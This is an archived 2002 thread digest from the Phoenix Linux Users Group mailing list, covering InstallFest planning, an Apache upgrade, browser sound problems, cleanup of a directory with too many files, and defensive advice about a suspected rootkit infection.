http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:26:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Fri, 21 Jun 2002 14:26:30 -0700 Subject: data plotting question Message-ID: <3D139A06.C504FF3@leml.asu.edu> I need to make some graphs of digital elevation map like messes. I was hoping to find something easier than gnuplot, but without having to reinstall KDE to get a new version of kchart, kspead, etc. working. Any suggestions? Thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Fri, 21 Jun 2002 14:31:49 -0700 Subject: irc Message-ID: <200206211431.49050.plug@unfm00.com> Does anyone idle in the irc? Or does the plug still have a channel? jon k unfm00.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 21:49:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Fri, 21 Jun 2002 14:49:27 -0700 (MST) Subject: Off-topic... In-Reply-To: Message-ID: Am 21. Jun, 2002 schwätzte G.D.Thurman so: > Is there an active Phoenix *BSD User Group? No. No reason, other than probs with the name, to start a seperate group. PLUG can handle *BSD stuff as well. ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:46:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 21 Jun 2002 15:46:45 -0700 Subject: irc In-Reply-To: <200206211431.49050.plug@unfm00.com> References: <200206211431.49050.plug@unfm00.com> Message-ID: <20020621154645.1143e083.snoogans@qwest.net> I am almost allways idling on irc :) im BoBB on irc, SyZ is also idling there almost 24/7 :) and hawk shows up once in a while too On Fri, 21 Jun 2002 14:31:49 -0700 "Jon K" wrote: > Does anyone idle in the irc? Or does the plug still have a channel? > > jon k > unfm00.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:49:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 21 Jun 2002 15:49:20 -0700 Subject: woops Message-ID: <20020621154920.3e3faa2e.snoogans@qwest.net> a few weeks ago i sent a message to list askingif anyone had small firewall-sized hard drives to sell. Someone responded and everything was good except i lost thier e-mail :( just wanted to double check that you would be there tommorow if you see this go ahead and e-mail me :) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 22:57:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 18:57:25 -0400 Subject: InstallFest internet connection? Yes! Message-ID: Configuring video settings for X can be tricky sometimes. The best way to make sure the user gets an optimum setup for their equipment is to have the equipment. I would recommend that they bring the monitor too, however inconvenient that may be. However, there will be SOME spare keyboards, mice and maybe even monitors there. I don't know if there will be enough for everyone if they don't bring their own. And, someone that did not bring a monitor always has this list and member resources available if they want to upgrade their video settings for a better monitor at home. They just have to understand that they may not leave the Install Fest with the optimum settings and they may have to wait until a spare whatever becomes available before their install can proceed. We will do our best to accomodate. Alan On Fri, 21 Jun 2002 14:01:40 -0700 Bryce C wrote: What about common perhiperals? Will there be mice, keyboards and monitors? If a person has "special" hardware, they should bring it but what about a monitor at least? Should we really expect people to lug their huge computers and then their 50lb. monitors? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 23:22:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: Fri, 21 Jun 2002 16:22:36 -0700 Subject: Just Verifying. (Installfest) Message-ID: <200206212323.TAA27913@hostinworld6.com> Just checking that someone will be there to help me with installing MkLinux on my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video adaptor I use. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 02:41:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Fri, 21 Jun 2002 19:41:47 -0700 Subject: apache upgrade References: <4A8DFDA6B395D411A11B00508BEE23FE76B508@mail.int.fh.org> Message-ID: <3D13E3EB.6040903@cox.net> So far, Mandrake has gotten a patched version out for SNF7.2. The Mdk8.2 and other versions are expected shortly. Don't be surprised though if the Apache version number doesn't change. They'll probably patch the hole in their current version instead of risking potential incompatibilities with newer Apaches. (I could be wrong, but that appears to be what they did with SNF7.2 since its Apache package is 1.3.20.) Tom Achtenberg wrote: > Not sure why you get all those dependencies, on my Red Hat 7.3 box I upgraded using RH's up2date and it only downloaded two rpm's (one program and one for the documentation) and installed it with no problem. Total size of the download was under 2 meg. > > > Date: Fri, 21 Jun 2002 08:55:32 -0700 (MST) > From: William Lindley > To: Phoenix Linux Users Group > Cc: Scott Walters > Subject: apache upgrade > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Am on a Mandrake 7.2 box... I know there are remote exploits for Apache > and I want to upgrade... > > Tried to use the Mandrake Update program to update Apache. it fails, with > no sensible error message, so I'm trying to do it manually... > > Apparently there are about a dozen other RPMs apache depends on. This > looked hopeless (download a.rpm, try to install, it wants b.rpm, download, > it wants c.rpm, etc etc) > > So I downloaded the apache source rpm, but i can't install that because it > wants gdbm-devel ... but there is no gdbm-devel rpm... so I'm stuck. > > Any ideas how to proceed? > > \\/ > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 23:57:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 21 Jun 2002 19:57:49 -0400 Subject: Just Verifying. (Installfest) Message-ID: As far as I know, we will not have any install media for MkLinux at the Fest. But, if you bring the install media, I am sure you will find people willing to do what they can to help get you going. I would recommend that you bring the monitor. I have no idea how tricky video settings are on a PowerPC. I'll even help you bring it in, if you want. :^) Alan On Fri, 21 Jun 2002 16:22:36 -0700 Bryce C wrote: Just checking that someone will be there to help me with installing MkLinux on my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video adaptor I use. Thanks, Bryce C. Network Administrator CoBryce Communications Bryce@BryceCo.Net http://www.BryceCo.Net ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 00:22:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 21 Jun 2002 17:22:31 -0700 Subject: Install Fest Message-ID: <0206211722310D.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 A press release from Lycoris just popped up on NewsForge (http://newsforge.com). Word is spreading . . . - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRPDRysk3ywszI1FEQImiACeNnsmLztYB7e2ZoWRaJ+H6SBOlTAAoKjQ 5RHYSYZ5e54iUzk8tZsGqwUp =jo2b -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 00:29:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 21 Jun 2002 17:29:56 -0700 Subject: Just Verifying. (Installfest) In-Reply-To: Message-ID: <200206220030.UAA16487@hostinworld6.com> The monitor is, how can I put this, "integrated" in to its surroundings so it's not possible to bring it. Besides, it serves other computers. The adaptor sets the resolution anyway. Yes I do have the MkLinux CD I burned as well as the 6 SuSE LiveEval 8.0 CDs I said I'd bring. I just need some help installing MkLinux from someone more fluent with "MACinease". Thanks for the offer. On 21 Jun 2002 19:57:49 -0400, alandd@mindspring.com wrote: > As far as I know, we will not have any install media for MkLinux at the Fest. > But, if you bring the install media, I am sure you will find people willing to > do what they can to help get you going. > > I would recommend that you bring the monitor. I have no idea how tricky video > settings are on a PowerPC. I'll even help you bring it in, if you want. :^) > > Alan > > On Fri, 21 Jun 2002 16:22:36 -0700 Bryce C wrote: > > Just checking that someone will be there to help me with installing MkLinux on > my PPC7100. I'm not bringing a monitor but I am bringing the MAC->IBM video > adaptor I use. > > Thanks, > Bryce C. > Network Administrator > CoBryce Communications > Bryce@BryceCo.Net > http://www.BryceCo.Net > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 01:06:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Fri, 21 Jun 2002 18:06:51 -0700 Subject: Bringing Servers to InstallFest References: <0206211722310D.01526@nova.wedge.org> Message-ID: <3D13CDAB.1F5E5B7B@cox.net> Are additional boxes desired at the InstallFest to be used as network servers? I could offer one, but would need instructions right away so I could set things up. I don't want to uproot the box unless it would actually contribute to the well-going of the event. It's dual-booted to RedHat 7.1 and has 1.3GHz Processor and 512MB memory. Those of us bringing such boxes should know what kind of setup is required in advance (IP addresses in what files, etc.???). So please advise promptly if I should bring the box, and what I should do to it in advance. I also have a spare CD drive, in case THAT would be useful. Should I bring it? I will be an hour or so late to the InstallFest (helping a friend load a moving van) but will stick around to shut the place down at the end of the day. Vic From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 04:55:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Thu, 20 Jun 2002 21:55:30 -0700 Subject: oops... to many files and can't clean up... References: <3D129CEC.89B04388@leml.asu.edu> <3D129ED3.62C3CC27@leml.asu.edu> Message-ID: <3D12B1C2.972D4A6A@uberhip.com> Perhaps it is was a shell limitations since that would be what was responsible for the regular expression expansion. Sounds like most the problems you had were when you used *. Austin "John (EBo) David" wrote: > > sorry to reply to my own message, but a quick update... > > I went to another xterm and tried get a second look at things. From > there I was able to see and remove the rest of the files (no idea what > happend to that one xterm to muck with ls/rm). Anyway, things are > cleaned up, and that even seemed to fix things in the original xterm > that was causing the problems... > > I may well still reboot and FSCK... Any idea what could have screwed > up? I remember that there used to be a limit of 10,000 files/directory > or inode. That is why I was originally concerned with having more than > 2.5 times that in a single directory. > > EBo -- > > "John (EBo) David" wrote: > > > > ummm.... > > > > I have a unit and regression test suite for my ecological modeling > > virtual machine. I needed to bump up one of the tests to run for a > > longer time for model testing. Problem was that I forgot that I am > > creating an image dump for *every* variable specified each and every > > iteration... start_time=0, stop_time=25, dt=0.01... that is 2,500 images > > for umm... looks like 8 variables, and there are 15 other unit tests... > > > > So now I find that I have over 25,000 files in a single directory. > > oops. Ok, off to clean them up.... > > > > First, ls and rm complain that there are to many files to "rm *.pgm", so > > I go though and delete them by group name... ok, appears to go ok. Now > > I am finally able to "rm *.pgm" so they should be clean up. Problem is > > that once I do that I still have hundreds of pgm files in the directory > > that "ls" reports, but an "ls *meta_pop*" does not. I am affraid that I > > have corrupted the file system or something. > > > > any suggestions? > > > > thoughts: > > > > shut down the machine, reboot single user, fsck ever partition > > (including XFS partions), and recite some prayer to Boolean... > > > > other ideas, thoughts, intuitions as to what happens when creating 10's > > of thousands of files in a single directory by accident? > > > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Austin Godber godber@asu.edu Rotten Philomathian From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 19:53:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 12:53:52 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <200206211223.08520.zen2now@qwest.net> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> <200206211223.08520.zen2now@qwest.net> Message-ID: <200206212046.g5LKkk206503@PlugList.MyButt.Net> I could play a wave file from this page so it must be that the line in the page that calls the wave file uses a propietary IE tag. I've had no sucess in getting the developer to show me the code, but I'll fry to capture it myself. I will also try setting mozilla to use xmms as well Charlie n Friday 21 June 2002 12:23, you wrote: > i dont know if this will help you. but i was able to play a .wav from the > plugger test page in opera 6.0 @ > http://fredrik.hubbe.net/plugger/test.html, by editing > preferences/applications=audio/x-wav, select "Open with other Application" > and choose /usr/bin/xmms. I dont know if this will work in your situation, > but from the plugger test page i was able to click on the WAV link to the > left and play test.wav. > > slr > > On Friday 21 June 2002 10:00 am, charlie bullen wrote: > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out . > > > > I think that perhaps the line in the page that brings in the sound file > > may be a prorietary Microsoft tag. I've asked the developer to email me > > the code, but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 21 17:40:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (charlie bullen) Date: Fri, 21 Jun 2002 10:40:37 -0700 Subject: Sound in opera - Linux at work In-Reply-To: <005f01c21948$d8cd5430$0301010a@tickticker.com> References: <200206211753.g5LHrI205079@PlugList.MyButt.Net> <005f01c21948$d8cd5430$0301010a@tickticker.com> Message-ID: <200206211833.g5LIXQ205419@PlugList.MyButt.Net> I've tried Mozilla 1.0, Konquerer 2.2.1 and Opera 6.01. I'll try contacting opera by email as well, good idea. I have been told that I have to get sound working fast or I'm back to XP. Charlie On Friday 21 June 2002 10:26, you wrote: > Charlie, > > Is opera your only choice? Is this the end of Linux on your desktop? try > mozilla, netscape or any of the other small army of browsers, one of them > should do it. just not IE ;-) There are a couple sites out there that > list them all, and hold on, try > http://kmself.home.netcom.com/Linux/FAQs/browsers.html > > for a start. then you could also contact opera using one of the tools on > http://www.opera.com/support/. they do have free email support > > Anthony > > > ----- Original Message ----- > From: "charlie bullen" > To: > Sent: Friday, June 21, 2002 10:00 AM > Subject: Sound in opera - Linux at work > > > Hi, So far Opera 6.01 is the only browser that does all I need it to do > > except 1 thing. I have a web page that downloads a wav file when certain > > events happen. I have to be able to hear the wave file. > > > > I can hear sound if it comes in as part of a shockwave file. > > > > When I go to the preferences section "Enable embedded audio" is grayed > > out > > . > > > I think that perhaps the line in the page that brings in the sound file > > may > > > be a prorietary Microsoft tag. I've asked the developer to email me the > > code, > > > but haven't gotten it yet. > > > > The ability to hear this sound is ABSOLUTLEY ESSENTIAL if I am to > > continue using linux at work. > > > > > > HELP!!!! > > > > Charlie > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 04:39:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Fri, 21 Jun 2002 21:39:35 -0700 Subject: The Ballad of David Grunman Message-ID: <200206212139.35746.dennisk@sahuaro.f2s.com> I've shared this with some of you. Wish I knew who did it! Download mp3 here: www.sahuaro.f2s.com/grunman.mp3 A PDF of the lyrics here: www.sahuaro.f2s.com/grunman.pdf Dennis Kibbe From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 06:10:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 22 Jun 2002 00:10:29 -0600 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> If chkrootkit says there are process's running that ps isn't showing - it's probably right. Stop all services that have the posibility of spawning child procces's quickly (apache etc) and run again. If it still shows up, most likely someone has you. The new rootkits are getting pretty complex in how they work, and with a trojan kernel module nearly anything is possible. I'd attach a sniffer to log _all_ traffic, possibly using snort to get a handle on it if it's a lot. I worked on a box that was hacked with suckit, one of the better LKM trojans. Only real way to fix it was to format/reinstall. RPM wasn't showing any problems with the procps (ps, ls etc.) rpm because the LKM was intercepting those calls at the kernel level. Took a sniffer and several days to figure out it was owned, as the box behaved normally. Seems the person was using it as a jumping point, running a scan of random netblocks. You might have some success booting with a rescue dist (tomsbrt works good), and looking for some directories that shouldn't be there. suckit defaults to something in /dev/(can't remember where - check phrack..48?) -dallas On Wed, 2002-06-19 at 16:15, Matt Alexander wrote: > It's possible that those mystery processes only ran one time and covered > up their activity afterwards, or maybe they run at some regular interval, > who knows. Personally, I would sleep better at night after rebuilding the > box. Also, I would recommend that you have different passwords for > different sites. You don't want a security hole at one site completely > opening your boxes at another site (as was the case with you). It's even > better if each box has a different password from all the others. > ~M > > > On Wed, 19 Jun 2002, technomage wrote: > > > according to the "last" command, he logged in as a user on one of my accounts > > and was on for 6 minutes. > > > > I checked elsewhere and found that there had been no other activity (even to > > checking the backups of some of the history files that are made each hour). > > > > after than, I checked to make sure there weren't any outbound connections to > > his IP range (there weren't). I used a clean box as a sniffer for this. I > > then proceeded to change all system passwords and user account passowrds. > > Then, I loaded clean versions of rpm, etc and proceeded to do a package > > verification. I even did md5 checksum comparisons and sig checking. > > > > I checked with a couple of folks I know in the computer security field (one > > of whom is currently serving duty with the US navy at their fascility in > > southern california (the USN Naval Post Graduate School). Given information > > from him (and others), I made an assumption that the intruder hadn't gotten > > very far into my system, and that since all passwords were changed > > immediately following the incident AND that the offending ip range > > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > > incursions until yesterday evening. > > > > what I find odd is that the incursion didn't stick. said "invisible > > processes" that wer recorded before aren't there now. > > > > just as a measure, I also made sure that my system has current patches for > > apache (which I do run a webserver here on port 8000) and I've tested any cgi > > scripts and other things using a tool called nessus. > > > > so far, after the last 12 hours, I can't seem to find any evidence that an > > incursion (intrusion) has taken place other than that 1 log entry written by > > chkrootkit that one time. > > > > so, I'm at a loss. am I trojaned or not? > > > > Technomage > > > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > > --- technomage wrote: > > > > ok, > > > > > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > > directories > > > > > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > > you changed the passwords, etc, there may have already been someting in > > > place that passed that info back to the intruder. Any idea on how long the > > > intruder had access to your system? > > > > > > Personally, I would cut my loses - print (yes print) any config files that > > > you want to re-implement, wipe the box and re-install from scratch. > > > > > > Or > > > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > > done, mount up the old disk - dont run anything from it - and give it a > > > thorough going over - see if you can figure out what was done to compromise > > > the system. > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > numbered! > > My life is my own - No. 6 > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 07:56:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Sat, 22 Jun 2002 00:56:51 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> Message-ID: <3D142DC3.2E30D00@cox.net> This is slightly off topic, but amusing. BTW, this really happened somewhere in the Phoenix area, about 15 years ago. I don't know if the guy's name was David Grunman, but according to the Arizona Republic's news story there was a drunk out in the desert shooting holes in saguaros with a shotgun. His last victim was 24 feet tall. The man's last word was: "Tim..." I searched for "David Grunman" and only found a reference to a late-term abortionist by that name. Vic P.S. -- If you put web links in a plain-text message, please put http:// in front of them. This will cause most web clients to recognize them as links, so they're clickable. Dennis Kibbe wrote: > I've shared this with some of you. Wish I knew who did it! > Download mp3 here: > www.sahuaro.f2s.com/grunman.mp3 > A PDF of the lyrics here: > www.sahuaro.f2s.com/grunman.pdf From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 15:26:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 22 Jun 2002 08:26:01 -0700 Subject: We're Off Message-ID: <0206220826010E.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 to the Install Fest. See ya there! - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRSXCysk3ywszI1FEQJBSgCfc+kyy9zKnbnUftVREZMcnlW65tMAning lI2LI54/F8IZxGDNtGBNXpUH =p4sM -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 17:22:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 22 Jun 2002 10:22:58 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D142DC3.2E30D00@cox.net> Message-ID: <3D14B272.81773BAB@leml.asu.edu> Victor Odhner wrote: > > This is slightly off topic, but amusing. > > BTW, this really happened somewhere in the Phoenix > area, about 15 years ago. I don't know if the guy's > name was David Grunman, but according to the Arizona > Republic's news story there was a drunk out in the > desert shooting holes in saguaros with a shotgun. > His last victim was 24 feet tall. > > The man's last word was: "Tim..." > > I searched for "David Grunman" and only found a > reference to a late-term abortionist by that name. take a look at the darwarn awards and I believe it is in 1998 that the story was originally posted ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:04:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 22 Jun 2002 11:04:08 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D142DC3.2E30D00@cox.net> <3D14B272.81773BAB@leml.asu.edu> Message-ID: <001c01c21a17$346094f0$0301010a@tickticker.com> the site archives only go back to 1999. i'm trying to clear off a machine to hit the installfest. anthony ----- Original Message ----- From: "John (EBo) David" To: Sent: Saturday, June 22, 2002 10:22 AM Subject: Re: The Ballad of David Grunman > Victor Odhner wrote: > > > > This is slightly off topic, but amusing. > > > > BTW, this really happened somewhere in the Phoenix > > area, about 15 years ago. I don't know if the guy's > > name was David Grunman, but according to the Arizona > > Republic's news story there was a drunk out in the > > desert shooting holes in saguaros with a shotgun. > > His last victim was 24 feet tall. > > > > The man's last word was: "Tim..." > > > > I searched for "David Grunman" and only found a > > reference to a late-term abortionist by that name. > > take a look at the darwarn awards and I > believe it is in 1998 that the story was originally posted ;-) > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:34:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Sat, 22 Jun 2002 11:34:44 -0700 Subject: oops... to many files and can't clean up... In-Reply-To: <200206221905.g5MJ54216418@PlugList.MyButt.Net> References: <200206221905.g5MJ54216418@PlugList.MyButt.Net> Message-ID: <20020622113444.1b8e0cc4.robert@kint.org> To delete all the files in a directory, when there are a large number of files, but dont delete any sub-directories or files in them: ls | xargs rm # rm will fail on directories, because you did not use "-r" Need to be selective: find . -maxdepth 0 -name "" | xargs rm # or find . -maxdepth 0 -name "" -exec rm "{}" ";" # Slower Done care about subdirectories and the files in them too: cd .. rm -r # Probably really want "-rf", its quieter, but more dangerous. Want to be "quick" about it: cd .. mv .old # "mv" is fast (on the same file system), "rm" is slow rm -rf .old & # removing in the background, you can now go do other stuff. # including creating a new and using it. Good Luck. Bob. On Sat, 22 Jun 2002 12:05:04 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > > Message: 3 > Date: Thu, 20 Jun 2002 21:55:30 -0700 > From: Austin Godber > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: oops... to many files and can't clean up... > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Perhaps it is was a shell limitations since that would be what was > responsible for the regular expression expansion. Sounds like most > the problems you had were when you used *. > > Austin > > "John (EBo) David" wrote: > > > > sorry to reply to my own message, but a quick update... > > > > I went to another xterm and tried get a second look at things. From > > there I was able to see and remove the rest of the files (no idea > > what happend to that one xterm to muck with ls/rm). Anyway, things > > are cleaned up, and that even seemed to fix things in the original > > xterm that was causing the problems... > > > > I may well still reboot and FSCK... Any idea what could have > > screwed up? I remember that there used to be a limit of 10,000 > > files/directory or inode. That is why I was originally concerned > > with having more than 2.5 times that in a single directory. > > > > EBo -- > > > > "John (EBo) David" wrote: > > > > > > ummm.... > > > > > > I have a unit and regression test suite for my ecological modeling > > > virtual machine. I needed to bump up one of the tests to run for > > > a longer time for model testing. Problem was that I forgot that I > > > am creating an image dump for *every* variable specified each and > > > every iteration... start_time=0, stop_time=25, dt=0.01... that is > > > 2,500 images for umm... looks like 8 variables, and there are 15 > > > other unit tests... > > > > > > So now I find that I have over 25,000 files in a single directory. > > > oops. Ok, off to clean them up.... > > > > > > First, ls and rm complain that there are to many files to "rm > > > *.pgm", so I go though and delete them by group name... ok, > > > appears to go ok. Now I am finally able to "rm *.pgm" so they > > > should be clean up. Problem is that once I do that I still have > > > hundreds of pgm files in the directory that "ls" reports, but an > > > "ls *meta_pop*" does not. I am affraid that I have corrupted the > > > file system or something. > > > > > > any suggestions? > > > > > > thoughts: > > > > > > shut down the machine, reboot single user, fsck ever partition > > > (including XFS partions), and recite some prayer to Boolean... > > > > > > other ideas, thoughts, intuitions as to what happens when creating > > > 10's of thousands of files in a single directory by accident? > > > > > > EBo -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Austin Godber > godber@asu.edu > Rotten Philomathian -- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:39:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 22 Jun 2002 11:39:28 -0700 Subject: We're Off In-Reply-To: <0206220826010E.01526@nova.wedge.org> Message-ID: <200206221840.OAA14121@hostinworld6.com> I'm just about to leave. On 22 Jun 2002 08:26:01 -0700, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > to the Install Fest. > > See ya there! > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRSXCysk3ywszI1FEQJBSgCfc+kyy9zKnbnUftVREZMcnlW65tMAning > lI2LI54/F8IZxGDNtGBNXpUH > =p4sM > -----END PGP 